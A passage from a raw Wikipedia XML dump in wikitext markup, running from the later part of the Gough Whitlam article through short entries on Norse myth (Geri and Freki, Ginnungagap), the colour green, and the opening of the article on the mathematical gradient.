One of the first Australian politicans to realise and fully exploit the power of television as a political tool, Whitlam proved himself a formidable campaigner, winning two by-elections and then a 17-seat swing in the 1969 election, falling only four seats short of a majority. After Holt's disappearance in December 1967, the Liberal Party began to succumb to internal dissent. They first elected [[John Gorton]] as leader, then dumped him in favour of [[William McMahon]]. Whitlam quickly established an ascendancy, particularly over short-statured McMahon, who was well past his political prime, and who lacked the on-screen charisma that Whitlam so obviously possessed.

Outside parliament, Whitlam concentrated on party reform and on developing new policies. He advocated the abolition of conscription and Australian withdrawal from the [[Vietnam War]], and in 1971 visited the [[People's Republic of China]] (PRC), promising to establish diplomatic relations&amp;#8212;much to the chagrin of McMahon, who attacked Whitlam for this policy, only to discover that President [[Richard Nixon]] was himself working toward recognising the PRC. On [[2 December]] [[1972]], Whitlam led the ALP to its first electoral victory since 1946.

==Prime Minister==
Custom dictated that Whitlam should have waited until the process of vote counting was complete, and then called a Caucus meeting to elect his Ministers ready to be sworn in by the [[Governor-General of Australia|Governor-General]]. Meanwhile, the outgoing Prime Minister would remain in office as a [[caretaker]]. (As a matter of longstanding party policy, ALP Ministers are elected by the entire Parliamentary Party&amp;#8212;the 'Caucus'&amp;#8212;with the Prime Minister only having the power to assign portfolios. Liberal Prime Ministers, in contrast, have traditionally had the power to nominate their own Ministry.)

Unwilling to wait, Whitlam, as soon as the overall result was beyond doubt, had himself and Deputy Leader [[Lance Barnard]] sworn in as a two-man government, holding all the portfolios between them (see [[First Whitlam Ministry]]). Whitlam later said: &quot;The Caucus I joined in 1952 had as many [[Second Boer War|Boer War]] veterans as men who had seen active service in [[World War II]], three from each. The Ministry appointed on [[5 December]] [[1972]] was composed entirely of ex-servicemen: Lance Barnard and me.&quot;

Although Labor had a comfortable working majority in the House, Whitlam faced a hostile [[Australian Senate|Senate]], making it impossible for him to pass legislation without the support of at least one of the other parties&amp;#8212;Liberal, Country, or DLP. (Senate elections at that time were not synchronised with House of Representatives elections: at the time Whitlam took office, half the Senate had been elected two years previously, the other half five years earlier.)

After 23 years of continuous conservative rule, the bureaucracy was unhelpful, and the conservative state governments were implacably opposed to reform. Nevertheless, Whitlam embarked on a massive legislative reform program. In the space of a little less than three years, the Whitlam Government:

* established formal diplomatic relations with the [[People's Republic of China]];
* took responsibility for tertiary education over from the states and abolished tertiary fees;
* cut tariffs across the board by 25% and abolished the Tariff Board;
* established the Schools Commission to distribute Federal funds to assist non-government schools on a needs basis;
* introduced a supporting benefit for single-parent families;
* abolished the death penalty for Federal crimes;
* reduced the voting age to 18 years;
* abolished the last vestiges of the [[White Australia Policy]];
* introduced language programs for non-English speaking Australians;
* mandated equal opportunities for women in Federal Government employment;
* appointed women to judicial and administrative positions;
* set up the National Aboriginal Consultative Committee;
* amalgamated the five separate defence departments;
* instituted direct federal grants to local governments; and
* established the [[Order of Australia]], Australia's own honours system.

The Senate resolutely opposed six key bills and twice rejected them. These were designed to:

* Institute a universal, free health insurance system to be known as [[Medicare| Medibank]].
* Provide citizens of the [[Australian Capital Territory]] and the [[Northern Territory]] with Senate representation for the first time.
* Regulate the size of House of Representatives electorates to ensure [[one vote one value]].
* Institute government overseeing of exploitation of minerals and oil.

The repeated rejection of these bills provided a [[Constitution of Australia|constitutional]] trigger for a [[Australian electoral system|double dissolution]] (a simultaneous election for all members in both houses), but Whitlam did not decide to call such an election until May 1974. Instead he expected to hold an election for half the Senate. To improve his chances of winning control of the Senate, Whitlam offered the former DLP Leader, Senator [[Vince Gair]], the post of Ambassador to [[Ireland]], thus creating an extra Senate vacancy in Queensland which Whitlam hoped Labor could win. This manoeuvre backfired, however, when the Queensland Premier, [[Joh Bjelke-Petersen]], learned of the appointment before it was announced, and had the [[Governor of Queensland]] issue the writs for the Queensland Senate election before Gair's resignation from the Senate took effect.

This &quot;Gair affair&quot; so outraged opponents of the Whitlam government that the Opposition Leader [[Billy Snedden]] threatened to block supply in the Senate, although he took no actual steps to do so. Whitlam, however, believing Snedden was unpopular with the electorate, immediately went to the [[Governor-General of Australia|Governor-General]], [[Paul Hasluck|Sir Paul Hasluck]], and obtained a double dissolution of both Houses for [[18 May]]. Whitlam went to the polls asking for a mandate to &quot;finish the job&quot;, and the ALP campaigned on the slogan &quot;Give Gough a Go&quot;. At the election the Whitlam government was re-elected, though with a reduced majority. The DLP lost all its seats, but Labor failed to win a majority in the Senate. The balance of power in the Senate was now held by two independent Senators. In the short term, this led to the historic [[Joint Sitting, Australian parliament, 1974|joint sitting]] of both houses, at which the six bills were passed. In the longer term, it contained the seeds of Whitlam's downfall.

In its second term, the Whitlam Government continued with its legislative reform program, but became embroiled in a series of controversies and scandals, including secret attempts to borrow large amounts of money from Middle Eastern governments, by-passing the Treasury and correct constitutional procedures (the &quot;[[Loans Affair]]&quot;). Whitlam was forced to dismiss Treasurer [[Jim Cairns]] and another senior minister, [[Rex Connor]], for misleading Parliament.

Emboldened by these scandals, a weak economy, and a massive swing to them in a mid-1975 by-election for the [[Tasmania]]n seat of Bass, the Liberal-Country Opposition, led by [[Malcolm Fraser]], argued that the Government's behaviour in breaching constitutional conventions required that it in turn attempt to breach one of the most fundamental, that the Senate would not block [[Loss of Supply|Supply]] (that is, cut off supply of Treasury funds).

==The Dismissal==
:''Main article: [[Australian constitutional crisis of 1975]]''
The Opposition would not have been able to follow this course if the Senate elected in 1974 had remained intact. Although one of the two independents joined the Liberal Party, the other, [[Steele Hall]], was opposed to blocking supply, and this would have been sufficient to prevent such a course being followed. The change in the composition of the Senate which made the constitutional crisis of 1975 possible was brought about by two appointments to fill vacancies in the Senate, which under the Australian Constitution are made by the State Parliaments. Since the introduction of [[proportional representation]] for Senate elections in 1949, there had been a convention that Senators who died or resigned should be replaced by a Senator of their own party, and all state governments had adhered to this convention.

In February 1975 the [[Premier of New South Wales]], [[Tom Lewis (Australian politician)|Tom Lewis]], broke the convention by appointing an independent Senator, [[Cleaver Bunton]], to replace the Attorney-General, Senator [[Lionel Murphy]], who had been appointed to the [[High Court of Australia]]. This appointment made no difference to the political situation, because it turned out that Bunton was opposed to blocking supply, but it provided a precedent for the Queensland [[National Party of Australia|National Party]] Premier, [[Joh Bjelke-Petersen]], when a Queensland ALP Senator, [[Bert Milliner]], died on [[30 June]]. Bjelke-Petersen refused to appoint the ALP's chosen replacement, Dr [[Mal Colston]], and asked Labor for three alternative nominations. Bjelke-Petersen said he had concerns over Colston's integrity, but Labor maintained that his real intention was to appoint a Senator who would support the blocking of supply and thus help bring down the Whitlam government.
&lt;!-- Unsourced image removed: [[Image:kerrproclamationbysecretary.jpg|thumb|left|240px|Whitlam (left) looks on as Kerr's secretary [[David Smith (Australian public servant)|David Smith]] announces the dissolution of parliament]] --&gt;
When Labor insisted on nominating Colston, Bjelke-Petersen nominated [[Albert Field]], president of the Federated Furnishing Trades Union and an ALP member of thirty-eight years standing. Bjelke-Petersen maintained that he was therefore not breaking the convention. Under ALP rules, however, Field ceased to be an ALP member as soon as he accepted nomination against an endorsed Labor candidate. Field said that he was opposed to Whitlam's behaviour in office and that he had approached Bjelke-Petersen asking to be nominated to the vacancy. Labor maintained that in these circumstances Field was in effect an anti-Labor Senator and that Bjelke-Petersen had broken the convention.

Field was granted leave from the Senate when High Court cases were filed challenging his eligibility to sit. But the change to the composition of the Senate was in any case decisive, because with Milliner's vote gone, the Opposition could pass Senate motions 30 votes to 29. Rather than blocking supply, they moved to delay consideration of the budget. Whitlam was determined to face the Opposition down, and proposed to borrow money from the banks to keep the government running. He was confident that some of the more moderate Liberal Senators would back down when the situation worsened as appropriations ran out during November and December.

Fraser also knew that the Senators were wavering, and he urged the Governor-General [[John Kerr|Sir John Kerr]], to act. Kerr had been a Whitlam appointment, but he had developed a grudge against the Prime Minister, who he felt had ignored him and snubbed his wife. Kerr was also concerned about the legality of Whitlam's proposals for borrowing money, as were the banks. Kerr contacted the Chief Justice of the [[High Court of Australia]], the former Liberal Attorney-General [[Sir Garfield Barwick]], who gave Kerr private advice that it was his duty to dismiss Whitlam. Kerr was also advised, by New South Wales Governor [[Roden Cutler|Sir Roden Cutler]] that he must warn Whitlam of the possibility of his dismissal.

So on [[11 November]] [[1975]], without giving Whitlam more than a moment's warning, Kerr revoked Whitlam's commission and installed Fraser as caretaker Prime Minister until a federal election could be held. He then immediately accepted Fraser's advice to call a double dissolution election, in an ironic twist using as triggers the same bills that the Coalition had rejected in the Senate.

On hearing the proclamation dissolving Parliament, which ended with the traditional 'God Save the Queen', Whitlam delivered his famous impromptu address to the crowd that had gathered in front of the steps of [[Old Parliament House, Canberra|Parliament House]]. During the speech he famously labelled Fraser as &quot;Kerr's cur&quot; and told the crowd: &quot;Ladies and gentlemen, well may we say 'God Save the Queen', because nothing will save the Governor-General.&quot; 

Although there were a number of public protests against Fraser during the campaign, the media (especially the [[Rupert Murdoch|Murdoch]] press, which had supported the ALP in 1972) had long since lost confidence in Whitlam, reporting a string of ministerial failures. This had a major influence on public opinion, signalled some months previously in the Bass by-election and the election resulted in a landslide win to the Coalition.

==The Whitlam government assessed==
During its three years in power, the Whitlam government was responsible for a long list of legislative reforms, most of which still stand today. It replaced Australia's adversarial divorce laws with a new, no-fault system; acted to improve the position of the Aboriginal minority; introduced the [[Trade Practices Act 1974|Trade Practices Act]]; slashed tariff barriers; ended [[conscription]]; introduced a universal national health insurance scheme [[Medibank]], now known as Medicare; sponsored free university education; introduced needs-based federal funding for private schools; established the long-awaited &quot;third tier&quot; in Australian radio by legislating for the establishment of community-based [[FM radio]]; and established diplomatic and trade relations with the [[People's Republic of China]].

Despite its many concrete achievements, Whitlam's critics point to substantial failings in his administration. The economy declined, with balance of payments problems, high unemployment and (by Australian standards) very high inflation. External factors contributed heavily to this, in particular the [[1973 oil crisis]] and resulting higher world oil prices, and falling prices for Australian farm produce. But the Whitlam government's own economic policies&amp;mdash;such as its controversial 1973 decision to reduce tariffs across the board by 25%&amp;mdash;were also partly responsible.

The autocratic Whitlam's &quot;crash through or crash&quot; style made many political enemies, and the various scandals afflicting the government cost it valuable time and momentum, and heavily damaged its credibility with the electorate. Many Australians regarded his dismissal by the unelected Governor-General as an outrage, but most Australians voted to replace the Whitlam government even so, and the Labor Party would not be a serious candidate for government again until Whitlam had been replaced as leader.

==Out of office==
[[Image:goughandmark.jpg|thumb|300px|Gough Whitlam (right) at 88, with his then protégé, the former leader of the Australian Labor Party, [[Mark Latham]], at an election fundraising event in Melbourne, September 2004]]

Whitlam stayed on to fight the 1977 election, but there was never much chance that the Australian electorate would have him back. Labor was defeated nearly as heavily as it had been in 1975, and Whitlam resigned from Parliament in 1978. After a few years as a travelling lecturer, he was appointed Australian Ambassador to [[UNESCO]] by the next Labor Prime Minister, [[Bob Hawke]]. Although Whitlam knew this was partly a ploy by Hawke to get him out of the country, he hugely enjoyed the [[Paris]] posting and made a great impression on other UNESCO delegates. He has published several volumes of memoirs.

Even in old age, Whitlam is a larger-than-life figure in Australian politics, with a ferocious intellect, a razor-sharp and often disparaging wit, and a towering ego that he never troubled to camouflage. The Labor historian [[Bob Ellis]] has described him as &quot;the self-appointed deity of the Labor Party&quot;. He remains a revered figure in the Labor Party, and reviled (far more, for example, than [[Bob Hawke]]) by the conservative side of politics. The sole issue over which he has received sustained criticism from the left is his failure to oppose [[Indonesia]]'s plans to annex [[East Timor]], then [[Portuguese Timor]].

Whitlam turned 80 in 1996, but still made regular public appearances and continued to comment on some issues, notably [[republicanism in Australia|republicanism]]: in the 1999 [[referendum]], he campaigned together on this issue with his old enemy Fraser. He felt the Hawke government had wasted its opportunities to continue the great Whitlam reform programme, but was more enthusiastic about [[Paul Keating]]'s government. After 1996 he was scathingly critical of [[John Howard]], but also of [[Kim Beazley]], who was Labor leader from 1996 to 2001 - this feud apparently went back to Whitlam's dislike of Beazley's father ([[Kim Beazley, senior]]), who had been a minister in Whitlam's government.

Whitlam was delighted when his former research assistant and then MP representing his old seat of Werriwa, [[Mark Latham]], was elected Labor leader on [[2 December]] [[2003]], exactly 31 years after Whitlam's own election as Prime Minister. By that time Whitlam, 87, was increasingly frail and usually appeared in public with a walking stick, but his ability and willingness to make outspoken comments had not diminished, and he spoke frequently in praise of Latham. 

Latham's diaries, however, were published in September [[2005]], and included a claim that Whitlam had dismissively remarked to Labor MP [[Joel Fitzgibbon]] that he thought Latham - who had by then resigned as leader - should quit politics altogether. When Latham learned of the remark, he cut off all contact with his former mentor and described Whitlam's comment as &quot;the cruellest cut of all&quot;. Whitlam subsequently claimed that he simply told Fitzgibbon he thought it was &quot;unsustainable&quot; for Latham to stay on as an MP because of his ill-health.

In April [[2004]] Whitlam spoke at a function marking the centenary of the [[Chris Watson|Watson Labor government]]. Later in the year he appeared at Labor events during the unsuccessful [[Australian legislative election, 2004|2004 federal election]] campaign, and appeared to be in good health. By late [[2005]], however, he was reported to be in declining health.

In November [[2005]] he donated his letter of dismissal and his copy of the &quot;It's time&quot; campaign speech to the University of Western Sydney. A member of the [[Australian Fabian Society]], Whitlam was its President in [[2002]].

==Honours==

Whitlam was appointed  [[Queen's Counsel]] in 1962 and a Companion of the [[Order of Australia]] in 1978.

Whitlam is a Fellow of the [[Australian Academy of Humanities]].

He has been awarded [[honorary doctorates]] by the [[University of Sydney]], the [[University of Wollongong]], [[La Trobe University]] and the [[University of Technology, Sydney]].

==See also==
*[[First Whitlam Ministry]]
*[[Second Whitlam Ministry]]
*[[Third Whitlam Ministry]]
*[[The Whitlams]]

==Further reading== [[Image:truthofthematter.jpg|thumb|right|170px|The Truth of the Matter (MUP Edition)]]
*Gough Whitlam, ''On Australia's Constitution'', Widescope, 1977
*Gough Whitlam, ''The Truth of the Matter'', Penguin, 1979 (Reprint, Melbourne University Press, 2005)
*Gough Whitlam, ''The Whitlam Government'', Penguin, 1985
*Gough Whitlam and others, ''The Whitlam Phenomenon'', Penguin, 1986
*Gough Whitlam, ''Abiding Interests'', University of Queensland Press, 1997

*Barry Cohen, ''Life With Gough'', Allen and Unwin, 1996
*Hugh Emy and others, ''Whitlam Revisited'', Pluto Press, 1993
*Gareth Evans and others, ''Labor and the Constitution 1972-1975'', Heinemann, 1977
*Paul Kelly, ''Crash Through or Crash,'' Angus and Robertson, 1976
*Paul Kelly, ''November 1975'', Allen and Unwin, 1995
*John Kerr, ''Matters for Judgment'', Macmillan, 1978
*Graham Freudenberg, ''A Certain Grandeur'', Macmillan, 1977
*Alan Reid, ''The Whitlam Venture'', Hill of Content, 1976
There is yet to be a definitive biography of Whitlam.  Such a thing is not considered possible in Whitlam's lifetime.

==External links==
{{wikiquote}}
* [http://primeministers.naa.gov.au/meetpm.asp?pmId=21 Gough Whitlam] - Australia's Prime Ministers / National Archives of Australia
* [http://www.whitlam.org/ The Whitlam Institute]
* [http://www.naa.gov.au/the_collection/cabinet/1974_cabinet/1974_cabinet.html 1974 Cabinet Records] / National Archives of Australia
* [http://whitlamdismissal.com/ The Whitlam Dismissal - November 11, 1975]
* [http://www.saxton.com.au/default.asp?sd8=231 Gough Whitlam] - Exclusive to Saxton Speakers Bureau
* [http://www.australianbeers.com/culture/letter.htm Dismissal letter] - Copy of dismissal letter

{{start box}}
{{succession box one to two | title1=[[Australian Labor Party|Deputy Leader of the Labor Party]] | before=[[Arthur Calwell]] | after1=[[Lance Barnard]] | years1=1960&amp;ndash;1967 | title2=[[Australian Labor Party|Leader of the Labor Party]] | after2=[[Bill Hayden]] | years2=1967&amp;ndash;1977}}
{{succession box | title=[[Treasurer of Australia]]| before=[[Billy Snedden]] | after=[[Frank Crean]] | years=1972 }}
{{succession box | title=[[Prime Minister of Australia]]| before=[[William McMahon]] | after=[[Malcolm Fraser]] | years=1972&amp;ndash;1975}}
{{end box}}

{{AustraliaPM}}

[[Category:1916 births|Whitlam, Gough]]
[[Category:Australian Labor Party politicians|Whitlam, Gough]]
[[Category:Living people|Whitlam, Gough]]
[[Category:Members of the Cabinet of Australia|Whitlam, Gough]]
[[Category:Prime Ministers of Australia|Whitlam, Gough]]

[[de:Gough Whitlam]]
[[fr:Gough Whitlam]]
{{featured article}}</text>
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  <page>
    <title>Geri and Freki</title>
    <id>12457</id>
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      <comment>robot  Adding: lb</comment>
      <text xml:space="preserve">:''For the former [[Spice Girls]] member also known as &quot;Ginger Spice&quot;, see [[Geri Halliwell]].''

'''Geri and Freki''' (also spelled '''Gere and Freke''') are a pair of [[wolf|wolves]], companions of the god [[Odin]] in [[Norse mythology]].  Freki translates to &quot;Fierce&quot; and Geri translates to &quot;Greed&quot;.

[[Snorri Sturluson]] in the ''[[Gylfaginning]]'' indicates that it is to these wolves that [[Odin]] gives his [[food]] when in [[Valhalla]], for he has no need of it himself, subsisting solely on [[mead]].

{{NorseMythology}}

[[Category:Creatures in Norse mythology]]

{{Euro-myth-stub}}

[[da:Gere og Freke]]
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  <page>
    <title>Ginnungagap</title>
    <id>12458</id>
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      <text xml:space="preserve">In [[Norse mythology]], '''Ginnungagap''' (&quot;seeming emptiness&quot; or &quot;gaping gap&quot;) was the vast chasm that existed between [[Niflheim]] and [[Muspelheim]] before creation. To the north of Ginnungagap lay the intense cold of [[Niflheim]], to the south the insufferable heat of [[Muspelheim]]. At the beginning of time, the two met in the Ginnungagap; and where the heat met the frost, the frost drops melted and formed the substance [[eitr]], which quickened into life in the form of the giant [[Ymir]], the father of all [[Frost giants]]. See his entry for the continuation of the Old Norse story of the Creation.

'''See also:''' [[Chaos (mythology)|Chaos]]

{{NorseMythology}}
[[Category:Locations in Norse mythology]]

[[ca:Ginnungagap]]
[[da:Ginnungagap]]
[[de:Ginnungagap]]
[[el:Γκιννουνγκαγκάπ]]
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[[lt:Ginungagapas]]
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[[sv:Ginnungagap]]</text>
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    <title>Gabriele DAnnunzio</title>
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      <comment>#REDIRECT [[Gabriele D'Annunzio]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gabriele D'Annunzio]]</text>
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  <page>
    <title>Green</title>
    <id>12460</id>
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      <minor />
      <comment>/* Green as a symbol */</comment>
      <text xml:space="preserve">{{otheruses}}
{{infobox color|
 title= Green (commonly &quot;lime&quot;)|
 hex= 00FF00|
 r=  0|g=255|b=  0|
 c=20|m=  0|y=30|k=  0|
 h=120|s=100|v=100
}}'''Green''' is any of a number of similar [[colors]]. Green is seen commonly in nature. Many [[plants]] are green mainly because of a complex chemical known as [[chlorophyll]] which is involved in [[photosynthesis]].

Green light has a [[wavelength]] of roughly 520–570 [[Nanometre|nm]] and is considered one of the additive [[primary color]]s. It is the complement of [[magenta]]; more properly the color #FF00FF.
People who are red-green [[color blindness|color blind]] can often distinguish between the two colors but confuse them with other colors, for example, bright green with [[yellow]]; dark green with [[brown]].

The term &quot;green&quot; does not define an exact color unless it is conjunction with some standard like [[X11 colors]] or an [[absolute color space]] like [[sRGB]].

==Uses of the color green==
[[Image:UnripeLemon4.jpg|thumb|[[Chlorophyll]] is responsible for the green color in plants. This [[lemon]] will gradually turn [[yellow]] as it ripens.]]

*Green symbolizes ''go'' in its use in [[traffic signal]]s, [[railway signal]]s and [[ship signals]].  It is also the color of informational and directional signs.  Fire escape [[fire exit|exit signs]] are green in some countries, but red in others.
*In the [[Middle Ages]], green represented evil or demonic beings (including [[European dragon|dragons]]) and sometimes [[love]].
*In  [[heraldry]], green is called '''[[vert]]'''.
*In [[North America|North American]] [[stock markets]], green is used to denote a rise in stock prices. In [[East Asia|East Asian]] stock markets, green is used to denote a drop in stock prices.
*In [[night vision goggles]], the color green is used to display the enhanced image because the human eye is able to discern the most shades in that color.
*In [[auto racing]] a [[green flag]] signals the start or resumption of a race.
*Because of its [[camouflage]] properties, green is typically used for the field uniforms for many military services. It is also used as the dress uniform for many land forces and marines.
*Green is a symbol of [[Ireland]], which is often referred to as  &quot;the Emerald Isle&quot;. The color is particularly identified with the [[Fianna Fáil|republican]] and [[nationalist]] traditions in modern times. It is used this way on the flag of the Republic of Ireland, in balance with the unionist [[orange (color)|orange]].
*Green also serves as a symbol of the [[Esperanto]] language. It is said that the color was first suggested by an Irishman, [[Richard Henry Geoghegan]], who apparently suggested it as it was the color of his country and because it is the color of hope, hope being a strong theme in [[Esperanto culture]]. The color is particularly associated with the [[green star]], and is seen too on the [[Esperanto flag]]. 
*Green is the traditional color of [[Islam]], likewise because of its association with nature. [[Muhammad]] is reliably quoted in a [[hadith]] as saying that &quot;water, greenery, and a beautiful face&quot; were three universally good things.{{fact}}
*The [[Green screen|Green Screen]] was the common name for a monochrome CRT computer display using a green P1 Phosphor screen.
*The [[emotion]] of [[envy]] is traditionally associated with the color green.
*In the [[Qu'ran]], [[sura]] [[Al-Insan]], followers of [[Allah]] in [[Paradise|Jannah]] wear fine green silk.
[[Image:Snooker_table.jpg|right|thumb|250px|Snooker table]]
*Green is the color of the [[snooker]] [[ball]] which has a 3-point value, and is also a common color for the [[baize]] on a snooker table.
*The [[Green Lantern]] is a [[DC Comics]] superhero.
*The [[Green Arrow]] is a [[DC Comics]] superhero
*Green is the color generally associated with [[Plaid Cymru]], the [[Wales|Welsh]] [[political party]] - but not for reasons of its political ideology.
*[[British racing green]] is a popular color for cars. It was made famous by the likes of [[Bentley]] in the early [[20th Century]].  It is the traditional color for [[race car]]s sponsored by [[List of British companies|British automakers]].
*One video and film compositing technique uses a [[bluescreen|Greenscreen or Bluescreen]].
*In [[The Fifth Element]], green is a [[List of fads|fad]] expression popularized by talk show host Ruby Rhod indicating something trendy or stylish.
*[[It's Not Easy Being Green]] - a popular song by [[Kermit the Frog]]
=== Green substances ===
Food colorings used for green include [[chlorophyll]] (E140 and E141), [[quinoline]] (E104) and, in countries where it is permitted, &quot;Green S&quot; (E142).

===Colloquial expressions===
*[[Envy]], one of the [[Seven Deadly Sins]], is also called the ''green-eyed monster'' (after a phrase in [[Shakespeare]]'s ''[[Othello]]''). A person suffering therefrom is said to be &quot;green with envy&quot;. Substances that may impart a greenish hue to one's skin include [[biliverdin]], the green [[pigment]] in [[bile]], and [[ceruloplasmin]], a [[protein]] that carries [[copper]] [[ion]]s in [[chelation]].
*Traditionally, someone who works well with plants is said to have a ''green thumb'', or green fingers.
*An inexperienced person is sometimes known as ''green'', probably by analogy to unripe (i.e. unready, immature) fruit. The word ''greenhorn'' also refers to an inexperienced person.
*[[Extraterrestrial life|Aliens]] (of the extraterrestrial variety) are sometimes referred to as &quot;[[little green men]]&quot;.
*People who are feeling ill are sometimes referred to as &quot;green around the gills&quot;.
*&quot;Green&quot; is a slang term for marijuana, due to the color of the plant material.

===Web color ===
{{swatch|green}}
The color ''green'' used in [[HTML]] and [[Cascading Style Sheets|CSS]] is actually a dark green, as seen in the sample to the right: the pure green color is called ''[[lime (color)#Web color|lime]]''.
{{-}}

==&quot;Green&quot; as a political ideology ==
The [[ecology movement]] uses green because of its common occurrence in nature. [[Greenpeace]], an [[ecology|ecological]] group, uses green because of its association with life and verdancy.  Those who carry this into the political realm are called &quot;[[Greens]]&quot;:

There are [[political party|political parties]] known as &quot;[[Green Parties]]&quot; in over one hundred countries throughout the world (beginning primarily in [[Europe]], though similar parties have taken root around the world). The more generic term &quot;[[green party]]&quot; is used for parties that emphasize [[environmentalism]], but it is increasingly out of favour as the [[Global Greens]] have succeeded in uniting almost all such parties under a [[Global Green Charter]].

A &quot;Green Party&quot; (or Faction) also existed in the [[Byzantine Empire]] for a while, but of course it had nothing to do with modern Greens. Rather, it developed out of a kind of [[chariot racing]] [[fanclub]] whose drivers used the color green to distinguish themselves from the opposing &quot;Blue Party&quot;.

The [[flag of Libya]] is plain green (the traditional color of [[Islam]]), the only current national flag of a single color.

Green is also the color of supporters of [[Taiwan independence]] in opposition to the unification-leaning pan-[[blue]] coalition.  This symbolism comes from [[Taiwan]]'s tropics and is unrelated to [[environmentalism]] or the [[Green Party]].

==Green as a symbol==

Green is the color of the back of [[U.S. currency]], and thus carries a strong connotation of money, wealth, and capitalism.  This is especially true in the U.S., but the symbol of the dollar worldwide makes it a wider symbol. This is illustrated by a joke told in the days of the [[Soviet Union]]: &quot;Name something green, other than money&quot;, with the correct answer being &quot;A [[ruble]]&quot;.  US banknotes are often called by the slang term &quot;greenbacks&quot;.

In North American [[stock markets]], green is used to denote a rise in stock prices. In East Asian [[stock markets]], however, green is used to denote a drop in stock prices.

==Green pigments==
* Cobalt green
* Emerald green
* [[Malachite]]
* [[Sap green]]
* Terre verte
* [[Verdigris]]
* [[Viridian]]

== See also ==
{{wiktionarypar|green}}
*[[Distinguishing &quot;blue&quot; from &quot;green&quot; in language]]
*[[List of colors]]

{{EMSpectrum}}
{{web colors}}

[[Category:Shades of green|*]]
[[Category:Optical spectrum]]

[[af:Groen (kleur)]]
[[ca:Verd]]
[[cs:Zelená]]
[[da:Grøn]]
[[de:Grün]]
[[es:Verde]]
[[eo:Verdo]]
[[fr:Vert]]
[[id:Hijau]]
[[it:Verde]]
[[he:ירוק]]
[[lt:Žalia]]
[[hu:Zöld]]
[[mi:Kakariki]]
[[nl:Groen]]
[[nds:Gröön]]
[[ja:緑]]
[[no:Grønn]]
[[nn:Grøn]]
[[pl:Barwa zielona]]
[[pt:Verde]]
[[ru:Зелёный цвет]]
[[scn:Virdi]]
[[simple:Green]]
[[sk:Zelená]]
[[sl:Zelena (barva)]]
[[sr:Зелена боја]]
[[su:Héjo]]
[[fi:Vihreä]]
[[sv:Grön]]
[[vi:Xanh lá cây]]
[[tr:Yeşil]]
[[zh:綠色]]</text>
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    <title>Gradient</title>
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      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[image:grad1.jpg|frame|In the above two images, the scalar field is in black and white, black representing higher values, and its corresponding gradient is represented by blue arrows.]] 
'''Gradient''' is commonly used to describe the measure of the '''[[slope]]''' (also called ''steepness'', or ''incline'') of a [[line (mathematics)|straight line]]. It is also sometimes used synonymously with ''[[grade (geography)|grade]]'', meaning the ''inclination'' of a [[surface]] along a given direction. 

A generalization of these concepts is the '''gradient''' in [[vector calculus]]; and this article will be mostly about this vector gradient. The ''gradient'' of a [[scalar field]] is a [[vector field]] which points in the direction of the greatest rate of increase of the scalar field, and whose [[magnitude (mathematics)|magnitude]] is the greatest rate of change.  More rigorously, the gradient of a [[function (mathematics)|function]] from the [[Euclidean space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt; to '''R''' is the best [[linear approximation]] to that function at any particular point in '''R'''&lt;sup&gt;''n''&lt;/sup&gt;.  To that extent, the gradient is a particular case of the [[Jacobian]]. 

Given a surface, the grade (inclination) of the surface in a particular direction given a unit vector is the [[dot product]] of the vector gradient with that vector. 

==Interpretations of the gradient==

Consider a room in which the temperature is given by a scalar field &lt;math&gt;\phi&lt;/math&gt;, so at each point &lt;math&gt;(x,y,z)&lt;/math&gt; the temperature is &lt;math&gt;\phi(x,y,z)&lt;/math&gt;. We will assume that the temperature does not change in time. Then, at each point in the room, the gradient at that point will show the direction in which it gets hot most quickly. The magnitude of the gradient will tell how fast it gets hot in that direction.

Consider a hill whose height at a point &lt;math&gt;(x, y)&lt;/math&gt; is &lt;math&gt;H(x, y)&lt;/math&gt;. The gradient of &lt;math&gt;H&lt;/math&gt; at a point is in  the direction of the steepest [[slope]]/[[grade (geography)|grade]] at that point. The magnitude of the gradient tells how steep the slope actually is. 

The gradient can also be used to tell how things change in other directions rather than the direction of largest change. Consider again the example with the hill. One can have a road which goes right uphill where the slope is largest and then its slope is the magnitude of the gradient. Or one can have a road which goes under an angle with the uphill direction, say for example an angle of 60° when projected onto the horizontal plane. Then, if the steepest slope on the hill is 40%, the road will make a shallower slope of 20% which is 40% times the cosine of 60°. 

This observation can be mathematically stated as follows. The gradient of the hill height function &lt;math&gt;H&lt;/math&gt; [[dot product|dotted]] with a unit [[vector (spatial)|vector]] gives the slope of the surface in the direction of the vector. This is called the [[directional derivative|directional derivative]].

== Formal definition ==

The gradient of a scalar function &lt;i&gt;{{phisymbol}}&lt;/i&gt; is denoted by:
: &lt;math&gt;\nabla \phi&lt;/math&gt;

where &lt;math&gt;\nabla&lt;/math&gt; ([[nabla symbol|nabla]]) denotes the vector [[differential operator]] [[del]]. The gradient of &lt;i&gt;{{phisymbol}}&lt;/i&gt; is sometimes also written as grad(&lt;i&gt;{{phisymbol}}&lt;/i&gt;).

&lt;!--we should probably mention 2D too is it just a simple case of getting rid of the Z term in that expression?--&gt;

In 3 [[dimension]]s, the expression expands to
:&lt;math&gt;\nabla \phi = \begin{pmatrix}
{\frac{\partial \phi}{\partial x}},  
{\frac{\partial \phi}{\partial y}}, 
{\frac{\partial \phi}{\partial z}}
\end{pmatrix}&lt;/math&gt;

in [[Cartesian coordinates]]. (''See [[partial derivative]] and [[vector (spatial)|vector]].'') 

Although expressed in terms of coordinates, the result is invariant under [[Orthogonal matrix|orthogonal transformation]]s, as it should, in view of the geometric definition.

===Example===
The gradient of the function &lt;i&gt;{{phisymbol}}&lt;/i&gt;&lt;math&gt;=2x+3y^2-\sin(z)&lt;/math&gt; is:

:&lt;math&gt;\nabla \phi = \begin{pmatrix}
{\frac{\partial \phi}{\partial x}},  
{\frac{\partial \phi}{\partial y}}, 
{\frac{\partial \phi}{\partial z}}
\end{pmatrix} = 
\begin{pmatrix}
{2}, 
{6y},
{-\cos(z)}
\end{pmatrix}.&lt;/math&gt;

==The gradient on manifolds==

For any differentiable function f on a [[Riemannian manifold]] ''M'', the gradient of ''f'' is the [[vector field]] such that for any vector &lt;math&gt;\xi&lt;/math&gt;, 
:&lt;math&gt;\langle \nabla f(x), \xi \rangle := \xi f&lt;/math&gt; 
where &lt;math&gt;\langle \cdot, \cdot \rangle&lt;/math&gt; denotes the [[inner product]] on ''M'' (the metric) and
